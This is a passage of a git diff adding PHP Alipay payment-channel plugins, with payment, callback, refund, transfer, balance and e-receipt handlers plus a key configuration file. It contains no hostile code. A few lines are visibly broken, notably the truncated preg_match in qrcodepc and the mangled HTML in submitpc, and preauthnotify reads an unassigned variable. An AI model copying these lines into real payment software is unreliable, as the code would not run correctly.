//异步回调 + static public function notify(){ + global $channel, $order; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayTradeService($alipay_config); + + $verify_result = $aop->check($_POST); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_POST['out_trade_no']; + + //支付宝交易号 + $trade_no = $_POST['trade_no']; + + //买家支付宝 + $buyer_id = $_POST['buyer_id']; + if(empty($buyer_id))$buyer_id = $_POST['buyer_open_id']; + + //交易金额 + $total_amount = $_POST['total_amount']; + + if($_POST['trade_status'] == 'TRADE_FINISHED') { + //退款日期超过可退款期限后(如三个月可退款),支付宝系统发送该交易状态通知 + } + else if ($_POST['trade_status'] == 'TRADE_SUCCESS') { + if($out_trade_no == TRADE_NO && round($total_amount,2)==round($order['realmoney'],2)){ + processNotify($order, $trade_no, $buyer_id); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //同步回调 + static public function return(){ + global $channel, $order; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayTradeService($alipay_config); + + $verify_result = $aop->check($_GET); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_GET['out_trade_no']; + + //支付宝交易号 + $trade_no = $_GET['trade_no']; + + //交易金额 + $total_amount = $_GET['total_amount']; + + if($out_trade_no == TRADE_NO && round($total_amount,2)==round($order['realmoney'],2)){ + processReturn($order, $trade_no); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + } + else { + //验证失败 + return ['type'=>'error','msg'=>'支付宝返回验证失败']; + } + } + + //预授权支付回调 + static public function preauthnotify(){ + global $channel, $order, $conf, $ordername, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $aop = new \Alipay\AlipayService($alipay_config); + + $verify_result = $aop->check($_POST); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_POST['out_order_no']; + + //资金授权订单号 + $auth_no = $_POST['auth_no']; + + $buyer_id = $result['payer_user_id']; + + if($out_trade_no == TRADE_NO){ + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'product_code' => 'PREAUTH_PAY', + 'auth_no' => $auth_no, + 'auth_confirm_mode' => 'COMPLETE' + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->scanPay($bizContent); + }catch(Exception $e){ + \lib\Payment::updateOrder(TRADE_NO, $auth_no, $buyer_id, 4); + return ['type'=>'html','data'=>'success']; + //return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $trade_no = $result['trade_no']; + $buyer_id = $result['buyer_user_id']; + $total_amount = $result['total_amount']; + + processNotify($order, $trade_no, $buyer_id); + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $bizContent = [ + 'trade_no' => $order['api_trade_no'], + 'refund_amount' => $order['refundmoney'], + 'out_request_no' => $order['refund_no'] + ]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->refund($bizContent); + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return ['code'=>0, 'trade_no'=>$result['trade_no'], 'refund_fee'=>$result['refund_fee'], 'refund_time'=>$result['gmt_refund_pay'], 'buyer'=>$result['buyer_user_id']]; + } + + //转账 + static public function transfer($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + if($bizParam['type'] == 'alipay'){ + if(is_numeric($bizParam['payee_account']) && substr($bizParam['payee_account'],0,4)=='2088')$is_userid = 1; + elseif(strpos($bizParam['payee_account'], '@')!==false || is_numeric($bizParam['payee_account']))$is_userid = 0; + else $is_userid = 2; + } + + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + try{ + $transfer = new \Alipay\AlipayTransferService($alipay_config); + if($bizParam['type'] == 'alipay'){ + $result = $transfer->transferToAccount($bizParam['out_biz_no'], $bizParam['money'], $is_userid, $bizParam['payee_account'], $bizParam['payee_real_name'], $bizParam['transfer_name']); + }else{ + $result = $transfer->transferToBankCard($bizParam['out_biz_no'], $bizParam['money'], $bizParam['payee_account'], $bizParam['payee_real_name'], $bizParam['transfer_name']); + } + + return ['code'=>0, 'status'=>1, 'orderid'=>$result['order_id'], 'paydate'=>$result['trans_date']]; + }catch(\Alipay\Aop\AlipayResponseException $e){ + $result = $e->getResponse(); + return ['code'=>-1, 'errcode'=>$result['sub_code'], 'msg'=>$e->getMessage()]; + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + try{ + $aop = new \Alipay\AlipayTransferService($alipay_config); + $result = $aop->query($bizParam['orderid'], 1); + if($result['status'] == 'SUCCESS'){ + $status = 1; + }elseif($result['status'] == 'DEALING' || $result['status'] == 'WAIT_PAY'){ + $status = 0; + }else{ + $status = 2; + } + if($result['fail_reason']){ + $errmsg = '['.$result['error_code'].']'.$result['fail_reason']; + } + return ['code'=>0, 'status'=>$status, 'amount'=>$result['trans_amount'], 'paydate'=>$result['pay_date'], 'errmsg'=>$errmsg]; + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //电子回单 + static public function transfer_proof($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + try{ + $aop = new \Alipay\AlipayBillService($alipay_config); + if(isset($_SESSION['ereceipt_'.$bizParam['out_biz_no']])){ + $file_id = $_SESSION['ereceipt_'.$bizParam['out_biz_no']]; + }else{ + $result = $aop->ereceiptApply('FUND_DETAIL', $bizParam['orderid']); + $file_id = $result['file_id']; + usleep(300000); + } + + $result = $aop->ereceiptQuery($file_id); + if($result['status'] == 'SUCCESS'){ + $_SESSION['ereceipt_'.$bizParam['out_biz_no']] = $file_id; + return ['code'=>0, 'msg'=>'电子回单生成成功!', 'download_url'=>$result['download_url']]; + }elseif($result['status'] == 'FAIL'){ + return ['code'=>-1, 'msg'=>'电子回单生成失败,'.$result['error_message']]; + }else{ + $_SESSION['ereceipt_'.$bizParam['out_biz_no']] = $file_id; + return ['code'=>0, 'msg'=>'电子回单正在生成中,请稍后再试!']; + } + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //余额查询 + static public function balance_query($channel, $bizParam){ + if(empty($channel))exit(); + + $user_type = is_numeric($bizParam['user_id'])&&substr($bizParam['user_id'],0,4)=='2088' ? 0 : 1; + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + try{ + $aop = new \Alipay\AlipayTransferService($alipay_config); + $result = $aop->accountQuery($bizParam['user_id'], $user_type); + return ['code'=>0, 'amount'=>$result['available_amount'], 'msg'=>'账户可用余额:'.$result['available_amount'].'元,冻结余额:'.$result['freeze_amount'].'元']; + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //协议签约回调 + static public function signnotify(){ + global $channel; + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayService($alipay_config); + $verify_result = $aop->check($_POST); + if($verify_result){ + if($_POST['personal_product_code'] == 'FUND_SAFT_SIGN_WITHHOLDING_P'){ + if($_POST['status'] == 'NORMAL'){ + (new \lib\AlipaySATF\AlipaySATF())->signNotify($_POST); + } + } + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'check sign fail']; + } + } + + //支付宝应用网关 + static public function appgw(){ + global $channel,$DB; + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $aop = new \Alipay\AlipayService($alipay_config); + $verify_result = $aop->check($_POST); + if($verify_result){ + if($_POST['msg_method'] == 'alipay.merchant.tradecomplain.changed'){ //交易投诉通知回调 + $bizContent = json_decode($_POST['biz_content'], true); + if($bizContent && isset($bizContent['complain_event_id'])){ + $model = \lib\Complain\CommUtil::getModel($channel); + $model->refreshNewInfo($bizContent['complain_event_id']); + } + }elseif($_POST['msg_method'] == 'alipay.fund.trans.order.changed'){ //资金单据状态变更通知 + $bizContent = json_decode($_POST['biz_content'], true); + if($bizContent && $bizContent['product_code'] == 'FUND_ACCOUNT_BOOK' && $bizContent['biz_scene'] == 'SATF_DEPOSIT'){ //记账本充值回调 + (new \lib\AlipaySATF\AlipaySATF())->rechargeNotify($bizContent); + + }elseif($bizContent && $bizContent['product_code'] == 'SINGLE_TRANSFER_NO_PWD' && $bizContent['biz_scene'] == 'ENTRUST_TRANSFER'){ //转账下发回调 + (new \lib\AlipaySATF\AlipaySATF())->transferNotify($bizContent); + + }elseif($bizContent && $bizContent['product_code'] == 'SINGLE_TRANSFER_NO_PWD' && $bizContent['biz_scene'] == 'ENTRUST_ALLOCATION'){ //记账本调拨回调 + (new \lib\AlipaySATF\AlipaySATF())->transferNotify($bizContent); + + } + } + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'check sign fail']; + } + } +} \ No newline at end of file diff --git a/plugins/alipay/inc/config.php b/plugins/alipay/inc/config.php new file mode 100644 index 0000000..f6fcdf2 --- /dev/null +++ b/plugins/alipay/inc/config.php @@ -0,0 +1,35 @@ + $channel['appid'], + + //支付宝公钥 + 'alipay_public_key' => $channel['appkey'], + + //应用私钥 + 'app_private_key' => $channel['appsecret'], + + //签名方式,默认为RSA2 + 'sign_type' => "RSA2", + + //编码格式 + 'charset' => "UTF-8", + + //支付宝网关 + 'gateway_url' => "https://openapi.alipay.com/gateway.do", + + //日志记录位置 + 'log_path' => dirname(__FILE__).'/log/', +]; + +if(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/appCertPublicKey_'.$channel['appid'].'.crt')){ + $alipay_config['app_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/appCertPublicKey_'.$channel['appid'].'.crt'; + $alipay_config['alipay_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/alipayCertPublicKey_RSA2.crt'; + $alipay_config['root_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/alipayRootCert.crt'; +} +elseif(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/appCertPublicKey_'.$channel['appid'].'.crt')){ + $alipay_config['app_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/appCertPublicKey_'.$channel['appid'].'.crt'; + $alipay_config['alipay_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/alipayCertPublicKey_RSA2.crt'; + $alipay_config['root_cert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/alipayRootCert.crt'; +} +return $alipay_config; \ No newline at end of file diff --git a/plugins/alipayd/alipayd_plugin.php b/plugins/alipayd/alipayd_plugin.php new file mode 100644 index 0000000..6033445 --- /dev/null +++ b/plugins/alipayd/alipayd_plugin.php @@ -0,0 +1,972 @@ + 'alipayd', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '支付宝官方支付直付通版', //支付插件显示名称 + 'author' => '支付宝', //支付插件作者 + 'link' => 'https://b.alipay.com/signing/productSetV2.htm', //支付插件作者链接 + 'types' => ['alipay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '应用APPID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '支付宝公钥', + 'type' => 'textarea', + 'note' => '填错也可以支付成功但会无法回调,如果用公钥证书模式此处留空', + ], + 'appsecret' => [ + 'name' => '应用私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '子商户SMID', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => [ //选择已开启的支付方式 + '1' => '电脑网站支付', + '2' => '手机网站支付', + '3' => '当面付扫码', + '4' => '当面付JS', + '5' => '预授权支付', + '6' => 'APP支付', + '7' => 'JSAPI支付', + '8' => '订单码支付', + ], + 'note' => '

    需要先申请互联网平台直付通才能使用!

    如果使用公钥证书模式,需将应用公钥证书、支付宝公钥证书、支付宝根证书3个crt文件放置于/plugins/alipayd/cert/文件夹(或/plugins/alipayd/cert/应用APPID/文件夹)

    ', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $submit2, $conf, $clientip; + + $isMobile = checkmobile(); + $isAlipay = checkalipay(); + if($isAlipay && in_array('4',$channel['apptype']) && !in_array('2',$channel['apptype'])){ + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/jspay/'.TRADE_NO.'/?d=1']; + } + return ['type'=>'jump','url'=>'/pay/jspay/'.TRADE_NO.'/?d=1']; + } + elseif($isMobile && (in_array('3',$channel['apptype'])||in_array('4',$channel['apptype'])||in_array('8',$channel['apptype'])) && !in_array('2',$channel['apptype']) || !$isMobile && !in_array('1',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + else{ + + if(checkwechat()){ + if(!$submit2){ + return ['type'=>'jump','url'=>'/pay/submit/'.TRADE_NO.'/']; + } + return ['type'=>'page','page'=>'wxopen']; + } + + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/submit/'.TRADE_NO.'/']; + } + + if($isMobile && in_array('2',$channel['apptype'])){ + if($conf['alipay_wappaylogin']==1){ + if($isAlipay){ + return ['type'=>'jump','url'=>'/pay/submitwap/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + } + if(self::isCombinePay($order['realmoney'])){ + return ['type'=>'jump','url'=>'/pay/submitwap/'.TRADE_NO.'/?d=1']; + } + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $aop->directPayParams($bizContent); + $html = $aop->wapPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + return ['type'=>'html','data'=>$html]; + }elseif(in_array('1',$channel['apptype'])){ + if($conf['alipay_paymode'] == 1 || $isMobile){ + return ['type'=>'jump','url'=>'/pay/qrcodepc/'.TRADE_NO.'/']; + } + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $aop->directPayParams($bizContent); + $html = $aop->pagePay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + return ['type'=>'html','data'=>$html]; + }elseif(in_array('6',$channel['apptype'])){ + if($conf['alipay_wappaylogin']==1 && !$isAlipay || $isMobile && !$isAlipay){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + return ['type'=>'jump','url'=>'/pay/apppay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('7',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/minipay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('5',$channel['apptype'])){ + if($conf['alipay_wappaylogin']==1 && !$isAlipay){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + return ['type'=>'jump','url'=>'/pay/preauth/'.TRADE_NO.'/?d=1']; + } + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + if($method=='app'){ + return self::apppay(); + } + elseif($method=='jsapi'){ + if(in_array('7',$channel['apptype'])){ + return self::jsapipay(); + }else{ + return self::jspay(); + } + } + elseif($mdevice=='alipay' && in_array('4',$channel['apptype']) && !in_array('2',$channel['apptype'])){ + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/jspay/'.TRADE_NO.'/?d=1']; + } + return ['type'=>'jump','url'=>$siteurl.'pay/jspay/'.TRADE_NO.'/?d=1']; + } + elseif($device=='mobile' && (in_array('3',$channel['apptype'])||in_array('4',$channel['apptype'])||in_array('8',$channel['apptype'])) && !in_array('2',$channel['apptype']) || $device=='pc' && !in_array('1',$channel['apptype'])){ + return self::qrcode(); + }else{ + + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/submit/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>$siteurl.'pay/submit/'.TRADE_NO.'/']; + } + } + } + + //电脑网站支付扫码 + static public function qrcodepc(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if(checkmobile()){ + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $alipay_config['pageMethod'] = '2'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'qr_pay_mode' => '4' + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $aop->directPayParams($bizContent); + $url = $aop->pagePay($bizContent); + $html = get_curl($url, 0, 0, 0, 0, 0, 0, 0, 1); + $html = mb_convert_encoding($html, 'utf-8', 'gbk'); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + if(preg_match('!'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + }else{ + return ['type'=>'error','msg'=>'支付宝下单失败!获取二维码失败']; + } + + }else{ + $code_url = '/pay/submitpc/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'alipay_qrcodepc','url'=>$code_url]; + } + } + + //电脑网站支付扫码跳转 + static public function submitpc(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'qr_pay_mode' => '4', + 'qrcode_width' => '230' + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $aop->directPayParams($bizContent); + $html = $aop->pagePay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + $html = '
    '.$html.''; + return ['type'=>'html','data'=>$html]; + } + + //手机网站支付扫码跳转 + static public function submitwap(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if($conf['alipay_wappaylogin']==1 && checkalipay()){ + [$user_type, $user_id] = alipay_oauth($alipay_config); + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + } + + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + if($_GET['d']=='1'){ + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + }else{ + $alipay_config['return_url'] = $siteurl.'pay/ok/'.TRADE_NO.'/'; + } + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + if(self::isCombinePay($order['realmoney'])){ + $bizContent['product_code'] = 'QUICK_WAP_WAY'; + $bizContent = self::combineOrderParams($bizContent, $sub_orders); + $result = $aop->mergePrecreatePay($bizContent); + $bizContent = [ + 'pre_order_no' => $result['pre_order_no'] + ]; + $html = $aop->wapMergePay($bizContent); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + }else{ + $aop->directPayParams($bizContent); + $html = $aop->wapPay($bizContent); + } + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + return ['type'=>'html','data'=>$html]; + } + + //扫码支付 + static public function qrcode(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + if(!in_array('3',$channel['apptype']) && in_array('2',$channel['apptype'])){ + $code_url = $siteurl.'pay/submitwap/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/submitwap/'.TRADE_NO.'/'; + } + }elseif(!in_array('3',$channel['apptype']) && in_array('4',$channel['apptype'])){ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/jspay/'.TRADE_NO.'/'; + } + }elseif(!in_array('3',$channel['apptype']) && in_array('6',$channel['apptype'])){ + $code_url = $siteurl.'pay/apppay/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/apppay/'.TRADE_NO.'/'; + } + }elseif(!in_array('3',$channel['apptype']) && in_array('7',$channel['apptype'])){ + $code_url = $siteurl.'pay/minipay/'.TRADE_NO.'/'; + }elseif(!in_array('3',$channel['apptype']) && in_array('5',$channel['apptype'])){ + $code_url = $siteurl.'pay/preauth/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/preauth/'.TRADE_NO.'/'; + } + }else{ + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername + ]; + if(!in_array('3',$channel['apptype']) && in_array('8',$channel['apptype'])){ + $bizContent['product_code'] = 'QR_CODE_OFFLINE'; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $aop->directPayParams($bizContent); + $result = $aop->qrPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $code_url = $result['qr_code']; + + } + if(checkalipay() && $order['tid']==3){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + //APP支付 + static public function apppay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if($conf['alipay_wappaylogin']==1 && checkalipay()){ + [$user_type, $user_id] = alipay_oauth($alipay_config); + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + } + + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + if(self::isCombinePay($order['realmoney'])){ + $bizContent['product_code'] = 'QUICK_MSECURITY_PAY'; + $bizContent = self::combineOrderParams($bizContent, $sub_orders); + $result = $aop->mergePrecreatePay($bizContent); + $bizContent = [ + 'pre_order_no' => $result['pre_order_no'] + ]; + $result = $aop->appMergePay($bizContent); + \lib\Payment::updateOrderCombine(TRADE_NO, $sub_orders); + }else{ + $aop->directPayParams($bizContent); + $result = $aop->appPay($bizContent); + } + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + if($method == 'app'){ + return ['type'=>'app','data'=>$result]; + } + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + $code_url = 'alipays://platformapi/startApp?appId=20000125&orderSuffix='.urlencode($result).'#Intent;scheme=alipays;package=com.eg.android.AlipayGphone;end'; + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>$redirect_url]]; + } + + //预授权支付 + static public function preauth(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if($conf['alipay_wappaylogin']==1 && checkalipay()){ + [$user_type, $user_id] = alipay_oauth($alipay_config); + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + } + + $alipay_config['notify_url'] = $conf['localurl'].'pay/preauthnotify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_order_no' => TRADE_NO, + 'out_request_no' => TRADE_NO, + 'order_title' => $ordername, + 'amount' => $order['realmoney'], + 'product_code' => 'PREAUTH_PAY' + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $aop->directPayParams($bizContent); + $result = $aop->preAuthFreeze($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + $code_url = 'alipays://platformapi/startApp?appId=20000125&orderSuffix='.urlencode($result).'#Intent;scheme=alipays;package=com.eg.android.AlipayGphone;end'; + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>$redirect_url]]; + } + + //当面付JS支付 + static public function jspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if(!empty($order['sub_openid'])){ + $user_id = $order['sub_openid']; + $user_type = is_numeric($user_id) && substr($user_id, 0, 4) == '2088' ? 'userid' : 'openid'; + }else{ + [$user_type, $user_id] = alipay_oauth($alipay_config); + } + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername + ]; + if($user_type == 'userid'){ + $bizContent['buyer_id'] = $user_id; + }else{ + $bizContent['buyer_open_id'] = $user_id; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $aop->directPayParams($bizContent); + $result = $aop->jsPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $alipay_trade_no = $result['trade_no']; + if($method == 'jsapi'){ + return ['type'=>'jsapi','data'=>$alipay_trade_no]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$alipay_trade_no, 'redirect_url'=>$redirect_url]]; + } + + //JSAPI支付 + static public function jsapipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $user_id = $order['sub_openid']; + $user_type = is_numeric($user_id) && substr($user_id, 0, 4) == '2088' ? 'userid' : 'openid'; + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'product_code' => 'JSAPI_PAY', + 'op_app_id' => $order['sub_appid'] ? $order['sub_appid'] : $alipay_config['app_id'] + ]; + if($user_type == 'openid'){ + 